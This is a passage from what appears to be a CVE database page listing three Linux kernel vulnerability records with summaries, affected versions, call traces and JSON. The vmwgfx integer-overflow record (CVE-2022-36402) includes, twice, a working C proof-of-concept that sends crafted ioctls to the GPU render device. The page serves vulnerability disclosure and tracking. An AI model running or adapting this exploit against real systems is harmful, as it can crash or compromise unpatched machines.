    "datePublished": "2024-04-10T18:56:27.567Z",
    "dateReserved": "2024-03-25T09:12:14.113Z",
    "dateUpdated": "2026-05-11T13:49:40.965Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2021-47212 (GCVE-0-2021-47212)

Vulnerability from cvelistv5 – Published: 2024-04-10 19:01 – Updated: 2026-05-11 13:50

Title

net/mlx5: Update error handler for UCTX and UMEM

Summary

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Update error handler for UCTX and UMEM In the fast unload flow, the device state is set to internal error, which indicates that the driver started the destroy process. In this case, when a destroy command is being executed, it should return MLX5_CMD_STAT_OK. Fix MLX5_CMD_OP_DESTROY_UCTX and MLX5_CMD_OP_DESTROY_UMEM to return OK instead of EIO. This fixes a call trace in the umem release process - [ 2633.536695] Call Trace: [ 2633.537518] ib_uverbs_remove_one+0xc3/0x140 [ib_uverbs] [ 2633.538596] remove_client_context+0x8b/0xd0 [ib_core] [ 2633.539641] disable_device+0x8c/0x130 [ib_core] [ 2633.540615] __ib_unregister_device+0x35/0xa0 [ib_core] [ 2633.541640] ib_unregister_device+0x21/0x30 [ib_core] [ 2633.542663] __mlx5_ib_remove+0x38/0x90 [mlx5_ib] [ 2633.543640] auxiliary_bus_remove+0x1e/0x30 [auxiliary] [ 2633.544661] device_release_driver_internal+0x103/0x1f0 [ 2633.545679] bus_remove_device+0xf7/0x170 [ 2633.546640] device_del+0x181/0x410 [ 2633.547606] mlx5_rescan_drivers_locked.part.10+0x63/0x160 [mlx5_core] [ 2633.548777] mlx5_unregister_device+0x27/0x40 [mlx5_core] [ 2633.549841] mlx5_uninit_one+0x21/0xc0 [mlx5_core] [ 2633.550864] remove_one+0x69/0xe0 [mlx5_core] [ 2633.551819] pci_device_remove+0x3b/0xc0 [ 2633.552731] device_release_driver_internal+0x103/0x1f0 [ 2633.553746] unbind_store+0xf6/0x130 [ 2633.554657] kernfs_fop_write+0x116/0x190 [ 2633.555567] vfs_write+0xa5/0x1a0 [ 2633.556407] ksys_write+0x4f/0xb0 [ 2633.557233] do_syscall_64+0x5b/0x1a0 [ 2633.558071] entry_SYSCALL_64_after_hwframe+0x65/0xca [ 2633.559018] RIP: 0033:0x7f9977132648 [ 2633.559821] Code: 89 02 48 c7 c0 ff ff ff ff eb b3 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 8d 05 55 6f 2d 00 8b 00 85 c0 75 17 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 41 54 49 89 d4 55 [ 2633.562332] RSP: 002b:00007fffb1a83888 EFLAGS: 00000246 ORIG_RAX: 0000000000000001 [ 2633.563472] RAX: ffffffffffffffda RBX: 000000000000000c RCX: 00007f9977132648 [ 2633.564541] RDX: 000000000000000c RSI: 000055b90546e230 RDI: 0000000000000001 [ 2633.565596] RBP: 000055b90546e230 R08: 00007f9977406860 R09: 00007f9977a54740 [ 2633.566653] R10: 0000000000000000 R11: 0000000000000246 R12: 00007f99774056e0 [ 2633.567692] R13: 000000000000000c R14: 00007f9977400880 R15: 000000000000000c [ 2633.568725] ---[ end trace 10b4fe52945e544d ]---

Severity ?

No CVSS data available.

Assigner

Linux

References

2 references

URL	Tags
https://git.kernel.org/stable/c/a51a6da375d82aed5…
https://git.kernel.org/stable/c/ba50cd9451f6c49cf…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 6a6fabbfa3e8c656ff906ae999fb6856410fa4cd , < a51a6da375d82aed5c8f83abd13e7d060421bd48 (git) Affected: 6a6fabbfa3e8c656ff906ae999fb6856410fa4cd , < ba50cd9451f6c49cf0841c0a4a146ff6a2822699 (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.15.5 , ≤ 5.15.* (semver) Unaffected: 5.16 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2021-47212",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T18:03:48.572043Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T18:04:44.861Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T05:32:07.274Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a51a6da375d82aed5c8f83abd13e7d060421bd48"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ba50cd9451f6c49cf0841c0a4a146ff6a2822699"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlx5/core/cmd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a51a6da375d82aed5c8f83abd13e7d060421bd48",
              "status": "affected",
              "version": "6a6fabbfa3e8c656ff906ae999fb6856410fa4cd",
              "versionType": "git"
            },
            {
              "lessThan": "ba50cd9451f6c49cf0841c0a4a146ff6a2822699",
              "status": "affected",
              "version": "6a6fabbfa3e8c656ff906ae999fb6856410fa4cd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/mellanox/mlx5/core/cmd.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.16",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.5",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Update error handler for UCTX and UMEM\n\nIn the fast unload flow, the device state is set to internal error,\nwhich indicates that the driver started the destroy process.\nIn this case, when a destroy command is being executed, it should return\nMLX5_CMD_STAT_OK.\nFix MLX5_CMD_OP_DESTROY_UCTX and MLX5_CMD_OP_DESTROY_UMEM to return OK\ninstead of EIO.\n\nThis fixes a call trace in the umem release process -\n[ 2633.536695] Call Trace:\n[ 2633.537518]  ib_uverbs_remove_one+0xc3/0x140 [ib_uverbs]\n[ 2633.538596]  remove_client_context+0x8b/0xd0 [ib_core]\n[ 2633.539641]  disable_device+0x8c/0x130 [ib_core]\n[ 2633.540615]  __ib_unregister_device+0x35/0xa0 [ib_core]\n[ 2633.541640]  ib_unregister_device+0x21/0x30 [ib_core]\n[ 2633.542663]  __mlx5_ib_remove+0x38/0x90 [mlx5_ib]\n[ 2633.543640]  auxiliary_bus_remove+0x1e/0x30 [auxiliary]\n[ 2633.544661]  device_release_driver_internal+0x103/0x1f0\n[ 2633.545679]  bus_remove_device+0xf7/0x170\n[ 2633.546640]  device_del+0x181/0x410\n[ 2633.547606]  mlx5_rescan_drivers_locked.part.10+0x63/0x160 [mlx5_core]\n[ 2633.548777]  mlx5_unregister_device+0x27/0x40 [mlx5_core]\n[ 2633.549841]  mlx5_uninit_one+0x21/0xc0 [mlx5_core]\n[ 2633.550864]  remove_one+0x69/0xe0 [mlx5_core]\n[ 2633.551819]  pci_device_remove+0x3b/0xc0\n[ 2633.552731]  device_release_driver_internal+0x103/0x1f0\n[ 2633.553746]  unbind_store+0xf6/0x130\n[ 2633.554657]  kernfs_fop_write+0x116/0x190\n[ 2633.555567]  vfs_write+0xa5/0x1a0\n[ 2633.556407]  ksys_write+0x4f/0xb0\n[ 2633.557233]  do_syscall_64+0x5b/0x1a0\n[ 2633.558071]  entry_SYSCALL_64_after_hwframe+0x65/0xca\n[ 2633.559018] RIP: 0033:0x7f9977132648\n[ 2633.559821] Code: 89 02 48 c7 c0 ff ff ff ff eb b3 0f 1f 80 00 00 00 00 f3 0f 1e fa 48 8d 05 55 6f 2d 00 8b 00 85 c0 75 17 b8 01 00 00 00 0f 05 \u003c48\u003e 3d 00 f0 ff ff 77 58 c3 0f 1f 80 00 00 00 00 41 54 49 89 d4 55\n[ 2633.562332] RSP: 002b:00007fffb1a83888 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\n[ 2633.563472] RAX: ffffffffffffffda RBX: 000000000000000c RCX: 00007f9977132648\n[ 2633.564541] RDX: 000000000000000c RSI: 000055b90546e230 RDI: 0000000000000001\n[ 2633.565596] RBP: 000055b90546e230 R08: 00007f9977406860 R09: 00007f9977a54740\n[ 2633.566653] R10: 0000000000000000 R11: 0000000000000246 R12: 00007f99774056e0\n[ 2633.567692] R13: 000000000000000c R14: 00007f9977400880 R15: 000000000000000c\n[ 2633.568725] ---[ end trace 10b4fe52945e544d ]---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T13:50:10.089Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a51a6da375d82aed5c8f83abd13e7d060421bd48"
        },
        {
          "url": "https://git.kernel.org/stable/c/ba50cd9451f6c49cf0841c0a4a146ff6a2822699"
        }
      ],
      "title": "net/mlx5: Update error handler for UCTX and UMEM",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2021-47212",
    "datePublished": "2024-04-10T19:01:53.270Z",
    "dateReserved": "2024-04-10T18:59:19.527Z",
    "dateUpdated": "2026-05-11T13:50:10.089Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-36402 (GCVE-0-2022-36402)

Vulnerability from cvelistv5 – Published: 2022-09-16 16:08 – Updated: 2024-09-17 03:38

Title

There is an int overflow vulnerability in vmwgfx driver

Summary

An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Severity ?

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-118 - Incorrect Access of Indexable Resource ('Range Error')

Assigner

Anolis

References

1 reference

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=2072	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Linux	kernel	Affected: v4.3-rc1 , < 5.13.0-52* (custom)

Date Public ?

2022-09-06 00:00

Credits

Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T10:00:04.458Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.3-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-118",
              "description": "CWE-118 Incorrect Access of Indexable Resource (\u0027Range Error\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-09-16T16:08:01.000Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
        }
      ],
      "source": {
        "defect": [
          "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
        ],
        "discovery": "INTERNAL"
      },
      "title": "There is an int overflow vulnerability in vmwgfx driver",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      },
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "AKA": "Anolis",
          "ASSIGNER": "security@openanolis.org",
          "DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
          "ID": "CVE-2022-36402",
          "STATE": "PUBLIC",
          "TITLE": "There is an int overflow vulnerability in vmwgfx driver"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "kernel",
                      "version": {
                        "version_data": [
                          {
                            "version_affected": "\u003e=",
                            "version_name": "5.13.0-52",
                            "version_value": "v4.3-rc1"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Linux"
              }
            ]
          }
        },
        "credit": [
          {
            "lang": "eng",
            "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
          }
        ],
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
            }
          ]
        },
        "exploit": [
          {
            "lang": "en",
            "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
          }
        ],
        "generator": {
          "engine": "Vulnogram 0.0.9"
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-118 Incorrect Access of Indexable Resource (\u0027Range Error\u0027)"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072",
              "refsource": "MISC",
              "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
            }
          ]
        },
        "source": {
          "defect": [
            "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
          ],
          "discovery": "INTERNAL"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-36402",
    "datePublished": "2022-09-16T16:08:01.414Z",
    "dateReserved": "2022-09-07T00:00:00.000Z",
    "dateUpdated": "2024-09-17T03:38:12.736Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-48666 (GCVE-0-2022-48666)

Vulnerability from cvelistv5 – Published: 2024-04-28 13:01 – Updated: 2026-05-11 18:44

Title

scsi: core: Fix a use-after-free

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: core: Fix a use-after-free There are two .exit_cmd_priv implementations. Both implementations use resources associated with the SCSI host. Make sure that these resources are still available when .exit_cmd_priv is called by waiting inside scsi_remove_host() until the tag set has been freed. This commit fixes the following use-after-free: ================================================================== BUG: KASAN: use-after-free in srp_exit_cmd_priv+0x27/0xd0 [ib_srp] Read of size 8 at addr ffff888100337000 by task multipathd/16727 Call Trace: <TASK> dump_stack_lvl+0x34/0x44 print_report.cold+0x5e/0x5db kasan_report+0xab/0x120 srp_exit_cmd_priv+0x27/0xd0 [ib_srp] scsi_mq_exit_request+0x4d/0x70 blk_mq_free_rqs+0x143/0x410 __blk_mq_free_map_and_rqs+0x6e/0x100 blk_mq_free_tag_set+0x2b/0x160 scsi_host_dev_release+0xf3/0x1a0 device_release+0x54/0xe0 kobject_put+0xa5/0x120 device_release+0x54/0xe0 kobject_put+0xa5/0x120 scsi_device_dev_release_usercontext+0x4c1/0x4e0 execute_in_process_context+0x23/0x90 device_release+0x54/0xe0 kobject_put+0xa5/0x120 scsi_disk_release+0x3f/0x50 device_release+0x54/0xe0 kobject_put+0xa5/0x120 disk_release+0x17f/0x1b0 device_release+0x54/0xe0 kobject_put+0xa5/0x120 dm_put_table_device+0xa3/0x160 [dm_mod] dm_put_device+0xd0/0x140 [dm_mod] free_priority_group+0xd8/0x110 [dm_multipath] free_multipath+0x94/0xe0 [dm_multipath] dm_table_destroy+0xa2/0x1e0 [dm_mod] __dm_destroy+0x196/0x350 [dm_mod] dev_remove+0x10c/0x160 [dm_mod] ctl_ioctl+0x2c2/0x590 [dm_mod] dm_ctl_ioctl+0x5/0x10 [dm_mod] __x64_sys_ioctl+0xb4/0xf0 dm_ctl_ioctl+0x5/0x10 [dm_mod] __x64_sys_ioctl+0xb4/0xf0 do_syscall_64+0x3b/0x90 entry_SYSCALL_64_after_hwframe+0x46/0xb0

Severity ?

7.4 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/5ce8fad941233e81f…
https://git.kernel.org/stable/c/f818708eeeae793e1…
https://git.kernel.org/stable/c/2e7eb4c1e8af8385d…
https://git.kernel.org/stable/c/8fe4ce5836e932f57…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 65ca846a53149a1a72cd8d02e7b2e73dd545b834 , < 5ce8fad941233e81f2afb5b52a3fcddd3ba8732f (git) Affected: 65ca846a53149a1a72cd8d02e7b2e73dd545b834 , < f818708eeeae793e12dc39f8984ed7732048a7d9 (git) Affected: 65ca846a53149a1a72cd8d02e7b2e73dd545b834 , < 2e7eb4c1e8af8385de22775bd0be552f59b28c9a (git) Affected: 65ca846a53149a1a72cd8d02e7b2e73dd545b834 , < 8fe4ce5836e932f5766317cb651c1ff2a4cd0506 (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.223 , ≤ 5.10.* (semver) Unaffected: 5.15.164 , ≤ 5.15.* (semver) Unaffected: 5.19.12 , ≤ 5.19.* (semver) Unaffected: 6.0 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:5.7:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.7"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "2e7eb4c1e8af",
                "status": "affected",
                "version": "65ca846a5314",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.4,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
